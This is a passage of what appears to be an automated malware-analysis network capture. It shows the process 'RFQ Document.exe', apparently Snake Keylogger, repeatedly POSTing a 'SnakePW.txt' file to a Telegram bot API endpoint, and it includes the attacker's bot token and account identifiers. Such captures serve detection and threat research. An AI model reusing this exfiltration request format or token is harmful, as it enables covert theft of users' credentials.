{"ok":true,"result":{"message_id":12607,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808706,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
270	192.168.2.4	50107	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:43 UTC	429	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255f33968c1 Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:43 UTC	430	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 66 33 33 39 36 38 63 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255f33968c1Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:43 UTC	430	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:43 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:43 UTC	431	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 35 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 38 33 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12858,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808783,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
271	192.168.2.4	50108	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:43 UTC	431	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255f3513e44 Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:43 UTC	431	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 66 33 35 31 33 65 34 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255f3513e44Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:43 UTC	432	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:43 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:43 UTC	432	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 35 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 38 33 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12859,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808783,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
272	192.168.2.4	50109	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:43 UTC	433	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255f3703e3c Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:43 UTC	433	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 66 33 37 30 33 65 33 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255f3703e3cContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:44 UTC	433	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:44 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:44 UTC	434	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 36 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 38 33 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12860,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808783,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
273	192.168.2.4	50110	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:44 UTC	434	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255f385b3d9 Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:44 UTC	435	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 66 33 38 35 62 33 64 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255f385b3d9Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:44 UTC	435	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:44 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:44 UTC	435	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 36 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 38 34 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12862,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808784,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
274	192.168.2.4	50111	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:44 UTC	436	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255f3a4b001 Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:44 UTC	436	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 66 33 61 34 62 30 30 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255f3a4b001Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:44 UTC	437	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:44 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:44 UTC	437	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 36 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 38 34 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12863,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808784,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
275	192.168.2.4	50112	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:44 UTC	437	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255f3c3aea9 Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:44 UTC	438	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 66 33 63 33 61 65 61 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255f3c3aea9Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:44 UTC	438	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:44 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:44 UTC	439	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 36 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 38 34 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12864,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808784,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
276	192.168.2.4	50113	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:44 UTC	439	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255f3db8728 Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:44 UTC	439	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 66 33 64 62 38 37 32 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255f3db8728Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:44 UTC	440	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:44 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:44 UTC	440	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 36 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 38 34 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12865,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808784,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
277	192.168.2.4	50114	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:44 UTC	441	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255f3f8239e Host: api.telegram.org Content-Length: 407
